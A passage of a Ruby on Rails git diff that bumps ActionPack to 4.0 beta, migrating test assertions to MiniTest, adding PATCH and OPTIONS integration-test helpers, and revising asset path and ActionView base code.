+        return @_optimized_routes if defined?(@_optimized_routes)
+        @_optimized_routes = _routes.optimize_routes_generation? && default_url_options.empty?
+      end
+
+      def _with_routes(routes)
+        old_routes, @_routes = @_routes, routes
+        yield
+      ensure
+        @_routes = old_routes
+      end
+
+      def _routes_context
+        self
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
index 47c84742aa..7dc3d0f97c 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/dom.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
@@ -5,32 +5,22 @@ module ActionDispatch
     module DomAssertions
       # \Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
       #
-      # ==== Examples
-      #
       #   # assert that the referenced method generates the appropriate HTML string
       #   assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
-      #
       def assert_dom_equal(expected, actual, message = "")
         expected_dom = HTML::Document.new(expected).root
         actual_dom   = HTML::Document.new(actual).root
-        full_message = build_message(message, "<?> expected to be == to\n<?>.", expected_dom.to_s, actual_dom.to_s)
-
-        assert_block(full_message) { expected_dom == actual_dom }
+        assert_equal expected_dom, actual_dom
       end
 
       # The negated form of +assert_dom_equivalent+.
       #
-      # ==== Examples
-      #
       #   # assert that the referenced method does not generate the specified HTML string
       #   assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
-      #
       def assert_dom_not_equal(expected, actual, message = "")
         expected_dom = HTML::Document.new(expected).root
         actual_dom   = HTML::Document.new(actual).root
-        full_message = build_message(message, "<?> expected to be != to\n<?>.", expected_dom.to_s, actual_dom.to_s)
-
-        assert_block(full_message) { expected_dom != actual_dom }
+        refute_equal expected_dom, actual_dom
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 7381617dd7..b15e0446de 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -1,14 +1,11 @@
-require 'active_support/core_ext/object/inclusion'
 
 module ActionDispatch
   module Assertions
     # A small suite of assertions that test responses from \Rails applications.
     module ResponseAssertions
-      extend ActiveSupport::Concern
-
       # Asserts that the response is one of the following types:
       #
-      # * <tt>:success</tt>   - Status code was 200
+      # * <tt>:success</tt>   - Status code was in the 200-299 range
       # * <tt>:redirect</tt>  - Status code was in the 300-399 range
       # * <tt>:missing</tt>   - Status code was 404
       # * <tt>:error</tt>     - Status code was in the 500-599 range
@@ -17,25 +14,23 @@ module ActionDispatch
       # or its symbolic equivalent <tt>assert_response(:not_implemented)</tt>.
       # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list.
       #
-      # ==== Examples
-      #
       #   # assert that the response was a redirection
       #   assert_response :redirect
       #
       #   # assert that the response code was status code 401 (unauthorized)
       #   assert_response 401
-      #
       def assert_response(type, message = nil)
-        validate_request!
+        message ||= "Expected response to be a <#{type}>, but was <#{@response.response_code}>"
 
-        if type.in?([:success, :missing, :redirect, :error]) && @response.send("#{type}?")
-          assert_block("") { true } # to count the assertion
-        elsif type.is_a?(Fixnum) && @response.response_code == type
-          assert_block("") { true } # to count the assertion
-        elsif type.is_a?(Symbol) && @response.response_code == Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
-          assert_block("") { true } # to count the assertion
+        if Symbol === type
+          if [:success, :missing, :redirect, :error].include?(type)
+            assert @response.send("#{type}?"), message
+          else
+            code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+            assert_equal code, @response.response_code, message
+          end
         else
-          flunk(build_message(message, "Expected response to be a <?>, but was <?>", type, @response.response_code))
+          assert_equal type, @response.response_code, message
         end
       end
 
@@ -43,8 +38,6 @@ module ActionDispatch
       # This match can be partial, such that <tt>assert_redirected_to(:controller => "weblog")</tt> will also
       # match the redirection of <tt>redirect_to(:controller => "weblog", :action => "show")</tt> and so on.
       #
-      # ==== Examples
-      #
       #   # assert that the redirection was to the "index" action on the WeblogController
       #   assert_redirected_to :controller => "weblog", :action => "index"
       #
@@ -54,16 +47,17 @@ module ActionDispatch
       #   # assert that the redirection was to the url for @customer
       #   assert_redirected_to @customer
       #
+      #   # asserts that the redirection matches the regular expression
+      #   assert_redirected_to %r(\Ahttp://example.org)
       def assert_redirected_to(options = {}, message=nil)
         assert_response(:redirect, message)
-        return true if options == @response.location
+        return true if options === @response.location
 
         redirect_is       = normalize_argument_to_redirection(@response.location)
         redirect_expected = normalize_argument_to_redirection(options)
 
-        if redirect_is != redirect_expected
-          flunk "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
-        end
+        message ||= "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
+        assert_operator redirect_expected, :===, redirect_is, message
       end
 
       private
@@ -73,23 +67,21 @@ module ActionDispatch
         end
 
         def normalize_argument_to_redirection(fragment)
-          case fragment
-          when %r{^\w[A-Za-z\d+.-]*:.*}
-            fragment
-          when String
-            @request.protocol + @request.host_with_port + fragment
-          when :back
-            raise RedirectBackError unless refer = @request.headers["Referer"]
-            refer
-          else
-            @controller.url_for(fragment)
-          end.gsub(/[\r\n]/, '')
-        end
+          normalized = case fragment
+            when Regexp
+              fragment
+            when %r{^\w[A-Za-z\d+.-]*:.*}
+              fragment
+            when String
+              @request.protocol + @request.host_with_port + fragment
+            when :back
+              raise RedirectBackError unless refer = @request.headers["Referer"]
+              refer
+            else
+              @controller.url_for(fragment)
+            end
 
-        def validate_request!
-          unless @request.is_a?(ActionDispatch::Request)
-            raise ArgumentError, "@request must be an ActionDispatch::Request"
-          end
+          normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index b10aab9029..9de545b3c5 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -26,7 +26,6 @@ module ActionDispatch
       #
       # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
       #
-      # ==== Examples
       #   # Check the default route (i.e., the index action)
       #   assert_recognizes({:controller => 'items', :action => 'index'}, 'items')
       #
@@ -39,15 +38,16 @@ module ActionDispatch
       #   # Test a custom route
       #   assert_recognizes({:controller => 'items', :action => 'show', :id => '1'}, 'view/item1')
       def assert_recognizes(expected_options, path, extras={}, message=nil)
-        request = recognized_request_for(path)
+        request = recognized_request_for(path, extras)
 
         expected_options = expected_options.clone
-        extras.each_key { |key| expected_options.delete key } unless extras.nil?
 
         expected_options.stringify_keys!
-        msg = build_message(message, "The recognized options <?> did not match <?>, difference: <?>",
+
+        # FIXME: minitest does object diffs, do we need to have our own?
+        message ||= sprintf("The recognized options <%s> did not match <%s>, difference: <%s>",
             request.path_parameters, expected_options, expected_options.diff(request.path_parameters))
-        assert_equal(expected_options, request.path_parameters, msg)
+        assert_equal(expected_options, request.path_parameters, message)
       end
 
       # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+.
@@ -56,7 +56,6 @@ module ActionDispatch
       #
       # The +defaults+ parameter is unused.
       #
-      # ==== Examples
       #   # Asserts that the default action is generated for a route with no action
       #   assert_generates "/items", :controller => "items", :action => "index"
       #
@@ -70,11 +69,9 @@ module ActionDispatch
       #   assert_generates "changesets/12", { :controller => 'scm', :action => 'show_diff', :revision => "12" }
       def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
         if expected_path =~ %r{://}
-          begin
+          fail_on(URI::InvalidURIError) do
             uri = URI.parse(expected_path)
             expected_path = uri.path.to_s.empty? ? "/" : uri.path
-          rescue URI::InvalidURIError => e
-            raise ActionController::RoutingError, e.message
           end
         else
           expected_path = "/#{expected_path}" unless expected_path.first == '/'
@@ -84,10 +81,10 @@ module ActionDispatch
         generated_path, extra_keys = @routes.generate_extras(options, defaults)
         found_extras = options.reject {|k, v| ! extra_keys.include? k}
 
-        msg = build_message(message, "found extras <?>, not <?>", found_extras, extras)
+        msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras)
         assert_equal(extras, found_extras, msg)
 
-        msg = build_message(message, "The generated path <?> did not match <?>", generated_path,
+        msg = message || sprintf("The generated path <%s> did not match <%s>", generated_path,
             expected_path)
         assert_equal(expected_path, generated_path, msg)
       end
@@ -99,7 +96,6 @@ module ActionDispatch
       # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The
       # +message+ parameter allows you to specify a custom error message to display upon failure.
       #
-      # ==== Examples
       #  # Assert a basic route: a controller with the default action (index)
       #  assert_routing '/home', :controller => 'home', :action => 'index'
       #
@@ -131,16 +127,13 @@ module ActionDispatch
       # with a new RouteSet instance.
       #
       # The new instance is yielded to the passed block. Typically the block
-      # will create some routes using <tt>map.draw { map.connect ... }</tt>:
+      # will create some routes using <tt>set.draw { match ... }</tt>:
       #
       #   with_routing do |set|
-      #     set.draw do |map|
-      #       map.connect ':controller/:action/:id'
-      #         assert_equal(
-      #           ['/content/10/show', {}],
-      #           map.generate(:controller => 'content', :id => 10, :action => 'show')
-      #       end
+      #     set.draw do
+      #       resources :users
       #     end
+      #     assert_equal "/users", users_path
       #   end
       #
       def with_routing
@@ -179,7 +172,7 @@ module ActionDispatch
 
       private
         # Recognizes the route for a given path.
-        def recognized_request_for(path)
+        def recognized_request_for(path, extras = {})
           if path.is_a?(Hash)
             method = path[:method]
             path   = path[:path]
@@ -191,14 +184,12 @@ module ActionDispatch
           request = ActionController::TestRequest.new
 
           if path =~ %r{://}
-            begin
+            fail_on(URI::InvalidURIError) do
               uri = URI.parse(path)
               request.env["rack.url_scheme"] = uri.scheme || "http"
               request.host = uri.host if uri.host
               request.port = uri.port if uri.port
               request.path = uri.path.to_s.empty? ? "/" : uri.path
-            rescue URI::InvalidURIError => e
-              raise ActionController::RoutingError, e.message
             end
           else
             path = "/#{path}" unless path.first == "/"
@@ -207,11 +198,21 @@ module ActionDispatch
 
           request.request_method = method if method
 
-          params = @routes.recognize_path(path, { :method => method })
+          params = fail_on(ActionController::RoutingError) do
+            @routes.recognize_path(path, { :method => method, :extras => extras })
+          end
           request.path_parameters = params.with_indifferent_access
 
           request
         end
+
+        def fail_on(exception_class)
+          begin
+            yield
+          rescue exception_class => e
+            raise MiniTest::Assertion, e.message
+          end
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index b4555f4f59..d19d116a1f 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -1,5 +1,4 @@
 require 'action_controller/vendor/html-scanner'
-require 'active_support/core_ext/object/inclusion'
 
 #--
 # Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
@@ -39,7 +38,6 @@ module ActionDispatch
       # The selector may be a CSS selector expression (String), an expression
       # with substitution values (Array) or an HTML::Selector object.
       #
-      # ==== Examples
       #   # Selects all div tags
       #   divs = css_select("div")
       #
@@ -58,7 +56,6 @@ module ActionDispatch
       #     inputs = css_select(form, "input")
       #     ...
       #   end
-      #
       def css_select(*args)
         # See assert_select to understand what's going on here.
         arg = args.shift
@@ -269,8 +266,9 @@ module ActionDispatch
               end
             end
             text.strip! unless NO_STRIP.include?(match.name)
+            text.sub!(/\A\n/, '') if match.name == "textarea"
             unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
-              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, text)
+              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
               true
             end
           end
@@ -279,7 +277,7 @@ module ActionDispatch
             html = match.children.map(&:to_s).join
             html.strip! unless NO_STRIP.include?(match.name)
             unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
-              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, html)
+              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
               true
             end
           end
@@ -289,12 +287,15 @@ module ActionDispatch
         message ||= content_mismatch if matches.empty?
         # Test minimum/maximum occurrence.
         min, max, count = equals[:minimum], equals[:maximum], equals[:count]
+
+        # FIXME: minitest provides messaging when we use assert_operator,
+        # so is this custom message really needed?
         message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
         if count
-          assert matches.size == count, message
+          assert_equal matches.size, count, message
         else
-          assert matches.size >= min, message if min
-          assert matches.size <= max, message if max
+          assert_operator matches.size, :>=, min, message if min
+          assert_operator matches.size, :<=, max, message if max
         end
 
         # If a block is given call that block. Set @selected to allow
@@ -336,9 +337,8 @@ module ActionDispatch
       # The content of each element is un-encoded, and wrapped in the root
       # element +encoded+. It then calls the block with all un-encoded elements.
       #
-      # ==== Examples
-      #   # Selects all bold tags from within the title of an ATOM feed's entries (perhaps to nab a section name prefix)
-      #   assert_select_feed :atom, 1.0 do
+      #   # Selects all bold tags from within the title of an Atom feed's entries (perhaps to nab a section name prefix)
+      #   assert_select "feed[xmlns='http://www.w3.org/2005/Atom']" do
       #     # Select each entry item and then the title item
       #     assert_select "entry>title" do
       #       # Run assertions on the encoded title elements
@@ -350,7 +350,7 @@ module ActionDispatch
       #
       #
       #   # Selects all paragraph tags from within the description of an RSS feed
-      #   assert_select_feed :rss, 2.0 do
+      #   assert_select "rss[version=2.0]" do
       #     # Select description element of each feed item.
       #     assert_select "channel>item>description" do
       #       # Run assertions on the encoded elements.
@@ -397,8 +397,6 @@ module ActionDispatch
       # You must enable deliveries for this assertion to work, use:
       #   ActionMailer::Base.perform_deliveries = true
       #
-      # ==== Examples
-      #
       #  assert_select_email do
       #    assert_select "h1", "Email alert"
       #  end
@@ -409,13 +407,12 @@ module ActionDispatch
       #       # Work with items here...
       #    end
       #  end
-      #
       def assert_select_email(&block)
         deliveries = ActionMailer::Base.deliveries
         assert !deliveries.empty?, "No e-mail in delivery list"
 
-        for delivery in deliveries
-          for part in (delivery.parts.empty? ? [delivery] : delivery.parts)
+        deliveries.each do |delivery|
+          (delivery.parts.empty? ? [delivery] : delivery.parts).each do |part|
             if part["Content-Type"].to_s =~ /^text\/html\W/
               root = HTML::Document.new(part.body.to_s).root
               assert_select root, ":root", &block
diff --git a/actionpack/lib/action_dispatch/testing/assertions/tag.rb b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
index 5c735e61b2..68f1347e7c 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/tag.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
@@ -48,8 +48,6 @@ module ActionDispatch
       # * if the condition is +true+, the value must not be +nil+.
       # * if the condition is +false+ or +nil+, the value must be +nil+.
       #
-      # === Examples
-      #
       #   # Assert that there is a "span" tag
       #   assert_tag :tag => "span"
       #
@@ -104,7 +102,6 @@ module ActionDispatch
       # Identical to +assert_tag+, but asserts that a matching tag does _not_
       # exist. (See +assert_tag+ for a full discussion of the syntax.)
       #
-      # === Examples
       #   # Assert that there is not a "div" containing a "p"
       #   assert_no_tag :tag => "div", :descendant => { :tag => "p" }
       #
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 0f1bb9f260..ab584abf68 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -1,10 +1,8 @@
 require 'stringio'
 require 'uri'
 require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/object/inclusion'
 require 'active_support/core_ext/object/try'
 require 'rack/test'
-require 'test/unit/assertions'
 
 module ActionDispatch
   module Integration #:nodoc:
@@ -18,8 +16,8 @@ module ActionDispatch
       #   a Hash, or a String that is appropriately encoded
       #   (<tt>application/x-www-form-urlencoded</tt> or
       #   <tt>multipart/form-data</tt>).
-      # - +headers+: Additional HTTP headers to pass, as a Hash. The keys will
-      #   automatically be upcased, with the prefix 'HTTP_' added if needed.
+      # - +headers+: Additional headers to pass, as a Hash. The headers will be
+      #   merged into the Rack env hash.
       #
       # This method returns an Response object, which one can use to
       # inspect the details of the response. Furthermore, if this method was
@@ -27,8 +25,8 @@ module ActionDispatch
       # object's <tt>@response</tt> instance variable will point to the same
       # response object.
       #
-      # You can also perform POST, PUT, DELETE, and HEAD requests with +#post+,
-      # +#put+, +#delete+, and +#head+.
+      # You can also perform POST, PATCH, PUT, DELETE, and HEAD requests with
+      # +#post+, +#patch+, +#put+, +#delete+, and +#head+.
       def get(path, parameters = nil, headers = nil)
         process :get, path, parameters, headers
       end
@@ -39,6 +37,12 @@ module ActionDispatch
         process :post, path, parameters, headers
       end
 
+      # Performs a PATCH request with the given parameters. See +#get+ for more
+      # details.
+      def patch(path, parameters = nil, headers = nil)
+        process :patch, path, parameters, headers
+      end
+
       # Performs a PUT request with the given parameters. See +#get+ for more
       # details.
       def put(path, parameters = nil, headers = nil)
@@ -57,13 +61,18 @@ module ActionDispatch
         process :head, path, parameters, headers
       end
 
+      # Performs a OPTIONS request with the given parameters. See +#get+ for
+      # more details.
+      def options(path, parameters = nil, headers = nil)
+        process :options, path, parameters, headers
+      end
+
       # Performs an XMLHttpRequest request with the given parameters, mirroring
       # a request from the Prototype library.
       #
-      # The request_method is +:get+, +:post+, +:put+, +:delete+ or +:head+; the
-      # parameters are +nil+, a hash, or a url-encoded or multipart string;
-      # the headers are a hash. Keys are automatically upcased and prefixed
-      # with 'HTTP_' if not already.
+      # The request_method is +:get+, +:post+, +:patch+, +:put+, +:delete+ or
+      # +:head+; the parameters are +nil+, a hash, or a url-encoded or multipart
+      # string; the headers are a hash.
       def xml_http_request(request_method, path, parameters = nil, headers = nil)
         headers ||= {}
         headers['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
@@ -103,6 +112,12 @@ module ActionDispatch
         request_via_redirect(:post, path, parameters, headers)
       end
 
+      # Performs a PATCH request, following any subsequent redirect.
+      # See +request_via_redirect+ for more information.
+      def patch_via_redirect(path, parameters = nil, headers = nil)
+        request_via_redirect(:patch, path, parameters, headers)
+      end
+
       # Performs a PUT request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
       def put_via_redirect(path, parameters = nil, headers = nil)
@@ -127,7 +142,7 @@ module ActionDispatch
     class Session
       DEFAULT_HOST = "www.example.com"
 
-      include Test::Unit::Assertions
+      include MiniTest::Assertions
       include TestProcess, RequestHelpers, Assertions
 
       %w( status status_message headers body redirect? ).each do |method|
@@ -177,16 +192,26 @@ module ActionDispatch
 
         # If the app is a Rails app, make url_helpers available on the session
         # This makes app.url_for and app.foo_path available in the console
-        if app.respond_to?(:routes) && app.routes.respond_to?(:url_helpers)
-          singleton_class.class_eval { include app.routes.url_helpers }
+        if app.respond_to?(:routes)
+          singleton_class.class_eval do
+            include app.routes.url_helpers if app.routes.respond_to?(:url_helpers)
+            include app.routes.mounted_helpers if app.routes.respond_to?(:mounted_helpers)
+          end
         end
 
         reset!
       end
 
-      remove_method :default_url_options
-      def default_url_options
-        { :host => host, :protocol => https? ? "https" : "http" }
+      def url_options
+        @url_options ||= default_url_options.dup.tap do |url_options|
+          url_options.reverse_merge!(controller.url_options) if controller
+
+          if @app.respond_to?(:routes) && @app.routes.respond_to?(:default_url_options)
+            url_options.reverse_merge!(@app.routes.default_url_options)
+          end
+
+          url_options.reverse_merge!(:host => host, :protocol => https? ? "https" : "http")
+        end
       end
 
       # Resets the instance. This can be used to reset the state information
@@ -199,6 +224,7 @@ module ActionDispatch
         @controller = @request = @response = nil
         @_mock_session = nil
         @request_count = 0
+        @url_options = nil
 
         self.host        = DEFAULT_HOST
         self.remote_addr = "127.0.0.1"
@@ -293,6 +319,7 @@ module ActionDispatch
           response = _mock_session.last_response
           @response = ActionDispatch::TestResponse.new(response.status, response.headers, response.body)
           @html_document = nil
+          @url_options = nil
 
           @controller = session.last_request.env['action_controller.instance']
 
@@ -313,12 +340,12 @@ module ActionDispatch
         @integration_session = Integration::Session.new(app)
       end
 
-      %w(get post put head delete cookies assigns
+      %w(get post patch put head delete options cookies assigns
          xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
         define_method(method) do |*args|
           reset! unless integration_session
           # reset the html_document variable, but only for new get/post calls
-          @html_document = nil unless method.in?(["cookies", "assigns"])
+          @html_document = nil unless method == 'cookies' || method == 'assigns'
           integration_session.__send__(method, *args).tap do
             copy_session_variables!
           end
@@ -350,12 +377,14 @@ module ActionDispatch
         end
       end
 
-      extend ActiveSupport::Concern
-      include ActionDispatch::Routing::UrlFor
+      def default_url_options
+        reset! unless integration_session
+        integration_session.default_url_options
+      end
 
-      def url_options
+      def default_url_options=(options)
         reset! unless integration_session
-        integration_session.url_options
+        integration_session.default_url_options = options
       end
 
       def respond_to?(method, include_private = false)
@@ -459,13 +488,17 @@ module ActionDispatch
   class IntegrationTest < ActiveSupport::TestCase
     include Integration::Runner
     include ActionController::TemplateAssertions
+    include ActionDispatch::Routing::UrlFor
 
     @@app = nil
 
     def self.app
-      # DEPRECATE Rails application fallback
-      # This should be set by the initializer
-      @@app || (defined?(Rails.application) && Rails.application) || nil
+      if !@@app && !ActionDispatch.test_app
+        ActiveSupport::Deprecation.warn "Rails application fallback is deprecated " \
+          "and no longer works, please set ActionDispatch.test_app", caller
+      end
+
+      @@app || ActionDispatch.test_app
     end
 
     def self.app=(app)
@@ -475,5 +508,10 @@ module ActionDispatch
     def app
       super || self.class.app
     end
+
+    def url_options
+      reset! unless integration_session
+      integration_session.url_options
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
index b08ff41950..3a6d081721 100644
--- a/actionpack/lib/action_dispatch/testing/test_process.rb
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -5,7 +5,8 @@ require 'active_support/core_ext/hash/indifferent_access'
 module ActionDispatch
   module TestProcess
     def assigns(key = nil)
-      assigns = @controller.view_assigns.with_indifferent_access
+      assigns = {}.with_indifferent_access
+      @controller.view_assigns.each {|k, v| assigns.regular_writer(k, v)}
       key.nil? ? assigns : assigns[key]
     end
 
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
index 7280e9a93b..c63778f870 100644
--- a/actionpack/lib/action_dispatch/testing/test_request.rb
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -1,6 +1,4 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/hash/indifferent_access'
-require 'active_support/core_ext/hash/reverse_merge'
 require 'rack/utils'
 
 module ActionDispatch
@@ -12,8 +10,8 @@ module ActionDispatch
     end
 
     def initialize(env = {})
-      env = Rails.application.env_config.merge(env) if defined?(Rails.application)
-      super(DEFAULT_ENV.merge(env))
+      env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+      super(default_env.merge(env))
 
       self.host        = 'test.host'
       self.remote_addr = '0.0.0.0'
@@ -70,5 +68,11 @@ module ActionDispatch
     def cookies
       @cookies ||= {}.with_indifferent_access
     end
+
+    private
+
+    def default_env
+      DEFAULT_ENV
+    end
   end
 end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index 914b13dbfb..39c7faf740 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index add6b56425..94cbc8e478 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,7 +1,7 @@
 module ActionPack
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
index d7229419a9..9d11c284f5 100644
--- a/actionpack/lib/action_view.rb
+++ b/actionpack/lib/action_view.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -21,9 +21,8 @@
 # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 #++
 
-require 'active_support/ruby/shim'
-require 'active_support/core_ext/class/attribute_accessors'
-
+require 'active_support'
+require 'active_support/rails'
 require 'action_pack'
 
 module ActionView
@@ -33,11 +32,11 @@ module ActionView
     autoload :AssetPaths
     autoload :Base
     autoload :Context
+    autoload :CompiledTemplates, "action_view/context"
     autoload :Helpers
     autoload :LookupContext
     autoload :PathSet
     autoload :Template
-    autoload :TestCase
 
     autoload_under "renderer" do
       autoload :Renderer
@@ -74,10 +73,18 @@ module ActionView
     end
   end
 
+  autoload :TestCase
+
   ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+  def self.eager_load!
+    super
+    ActionView::Template.eager_load!
+  end
 end
 
-require 'active_support/i18n'
 require 'active_support/core_ext/string/output_safety'
 
-I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+end
diff --git a/actionpack/lib/action_view/asset_paths.rb b/actionpack/lib/action_view/asset_paths.rb
index 1d16e34df6..81880d17ea 100644
--- a/actionpack/lib/action_view/asset_paths.rb
+++ b/actionpack/lib/action_view/asset_paths.rb
@@ -4,6 +4,8 @@ require 'action_controller/metal/exceptions'
 
 module ActionView
   class AssetPaths #:nodoc:
+    URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}
+
     attr_reader :config, :controller
 
     def initialize(config, controller = nil)
@@ -33,11 +35,17 @@ module ActionView
     # Return the filesystem path for the source
     def compute_source_path(source, dir, ext)
       source = rewrite_extension(source, dir, ext) if ext
-      File.join(config.assets_dir, dir, source)
+
+      sources = []
+      sources << config.assets_dir
+      sources << dir unless source[0] == ?/
+      sources << source
+
+      File.join(sources)
     end
 
     def is_uri?(path)
-      path =~ %r{^[-a-z]+://|^cid:|^//}
+      path =~ URI_REGEXP
     end
 
   private
@@ -103,8 +111,8 @@ module ActionView
         if host.respond_to?(:call)
           args = [source]
           arity = arity_of(host)
-          if arity > 1 && !has_request?
-            invalid_asset_host!("Remove the second argument to your asset_host Proc if you do not need the request.")
+          if (arity > 1 || arity < -2) && !has_request?
+            invalid_asset_host!("Remove the second argument to your asset_host Proc if you do not need the request, or make it optional.")
           end
           args << current_request if (arity > 1 || arity < 0) && has_request?
           host.call(*args)
@@ -115,7 +123,7 @@ module ActionView
     end
 
     def relative_url_root
-      config.relative_url_root
+      config.relative_url_root || current_request.try(:script_name)
     end
 
     def asset_host_config
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
index 36c49d9c91..749332eca7 100644
--- a/actionpack/lib/action_view/base.rb
+++ b/actionpack/lib/action_view/base.rb
@@ -1,16 +1,13 @@
 require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/ordered_options'
 require 'action_view/log_subscriber'
-require 'active_support/core_ext/module/deprecation'
 
 module ActionView #:nodoc:
   # = Action View Base
   #
-  # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> (or <tt>.rhtml</tt>) extension then it uses a mixture of ERb
-  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> (or <tt>.rxml</tt>) extension then Jim Weirich's Builder::XmlMarkup library is used.
+  # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERb
+  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
   #
   # == ERB
   #
@@ -94,10 +91,10 @@ module ActionView #:nodoc:
   #
   # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
   #
-  #   xml.div {
+  #   xml.div do
   #     xml.h1(@person.name)
   #     xml.p(@person.bio)
-  #   }
+  #   end
   #
   # would produce something like:
   #
@@ -141,14 +138,19 @@ module ActionView #:nodoc:
     # How to complete the streaming when an exception occurs.
     # This is our best guess: first try to close the attribute, then the tag.
     cattr_accessor :streaming_completion_on_exception
-    @@streaming_completion_on_exception = %("><script type="text/javascript">window.location = "/500.html"</script></html>)
+    @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
+
+    # Specify whether rendering within namespaced controllers should prefix
+    # the partial paths for ActiveModel objects with the namespace.
+    # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
+    cattr_accessor :prefix_partial_path_with_controller_namespace
+    @@prefix_partial_path_with_controller_namespace = true
 
-    class_attribute :helpers
     class_attribute :_routes
+    class_attribute :logger
 
     class << self
       delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
-      delegate :logger, :to => 'ActionController::Base', :allow_nil => true
 
       def cache_template_loading
         ActionView::Resolver.caching?
@@ -158,31 +160,9 @@ module ActionView #:nodoc:
         ActionView::Resolver.caching = value
       end
 
-      def process_view_paths(value)
-        value.is_a?(PathSet) ?
